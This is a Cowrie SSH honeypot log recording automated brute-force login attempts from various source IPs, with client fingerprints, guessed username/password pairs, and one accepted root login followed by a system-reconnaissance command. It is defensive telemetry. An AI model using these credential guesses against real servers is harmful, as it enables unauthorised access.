{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:05.704655Z","src_ip":"2.57.122.96","session":"f8d1fd353688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:05.804271Z","src_ip":"2.57.122.96","session":"f8d1fd353688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"server","message":"login attempt [ubuntu/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:06.134315Z","src_ip":"2.57.122.96","session":"f8d1fd353688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":34494,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b7282f1eeb","protocol":"ssh","message":"New connection: 92.118.39.95:34494 (159.203.135.109:22) [session: 18b7282f1eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:06.630091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:06.638721Z","src_ip":"92.118.39.95","session":"18b7282f1eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:06.730963Z","src_ip":"92.118.39.95","session":"18b7282f1eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:07.176137Z","src_ip":"92.118.39.95","session":"18b7282f1eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:07.265329Z","src_ip":"2.57.122.96","session":"f8d1fd353688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:08.353966Z","src_ip":"92.118.39.95","session":"18b7282f1eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":54440,"dst_ip":"10.17.0.5","dst_port":22,"session":"49d6b26ea890","protocol":"ssh","message":"New connection: 103.154.77.48:54440 (10.17.0.5:22) [session: 49d6b26ea890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:12.701885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:12.705194Z","src_ip":"103.154.77.48","session":"49d6b26ea890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:12.965075Z","src_ip":"103.154.77.48","session":"49d6b26ea890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abdullah","password":"123","message":"login attempt [abdullah/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:14.042048Z","src_ip":"103.154.77.48","session":"49d6b26ea890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:15.306599Z","src_ip":"103.154.77.48","session":"49d6b26ea890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":46604,"dst_ip":"10.17.0.5","dst_port":22,"session":"667a2f7c18a1","protocol":"ssh","message":"New connection: 42.200.78.78:46604 (10.17.0.5:22) [session: 667a2f7c18a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:31.968252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:31.973321Z","src_ip":"42.200.78.78","session":"667a2f7c18a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:32.194016Z","src_ip":"42.200.78.78","session":"667a2f7c18a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftpuser1123","message":"login attempt [ftpuser1/ftpuser1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:33.107898Z","src_ip":"42.200.78.78","session":"667a2f7c18a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:34.330395Z","src_ip":"42.200.78.78","session":"667a2f7c18a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59242,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c671c1c53aa","protocol":"ssh","message":"New connection: 2.57.122.208:59242 (159.203.135.109:22) [session: 5c671c1c53aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:36.020183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:36.023359Z","src_ip":"2.57.122.208","session":"5c671c1c53aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:36.131636Z","src_ip":"2.57.122.208","session":"5c671c1c53aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:36.444569Z","src_ip":"2.57.122.208","session":"5c671c1c53aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:37.573844Z","src_ip":"2.57.122.208","session":"5c671c1c53aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5863219913b","protocol":"ssh","message":"New connection: 20.196.64.198:55452 (10.17.0.5:22) [session: e5863219913b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:56.254513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:56.258529Z","src_ip":"20.196.64.198","session":"e5863219913b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:56.454015Z","src_ip":"20.196.64.198","session":"e5863219913b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"12345678","message":"login attempt [boss/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:57.248487Z","src_ip":"20.196.64.198","session":"e5863219913b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:58.440769Z","src_ip":"20.196.64.198","session":"e5863219913b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59360,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f3cd9e8d07","protocol":"ssh","message":"New connection: 162.120.6.20:59360 (10.17.0.5:22) [session: 85f3cd9e8d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.002452Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.074034Z","src_ip":"162.120.6.20","session":"85f3cd9e8d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59372,"dst_ip":"10.17.0.5","dst_port":22,"session":"3723c311e539","protocol":"ssh","message":"New connection: 162.120.6.20:59372 (10.17.0.5:22) [session: 3723c311e539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.140407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.144384Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.212870Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qishang2017.com","message":"login attempt [root/qishang2017.com] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.420445Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.587017Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.589382Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.660198Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:59.664222Z","src_ip":"162.120.6.20","session":"3723c311e539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3a771b4adf","protocol":"ssh","message":"New connection: 2.57.122.208:51418 (10.17.0.5:22) [session: 1d3a771b4adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:09.821553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:09.920572Z","src_ip":"2.57.122.208","session":"1d3a771b4adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:10.030532Z","src_ip":"2.57.122.208","session":"1d3a771b4adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:10.542608Z","src_ip":"2.57.122.208","session":"1d3a771b4adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:11.666650Z","src_ip":"2.57.122.208","session":"1d3a771b4adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":45670,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52327e91c9b","protocol":"ssh","message":"New connection: 2.57.121.25:45670 (10.17.0.5:22) [session: b52327e91c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:42.060594Z"}
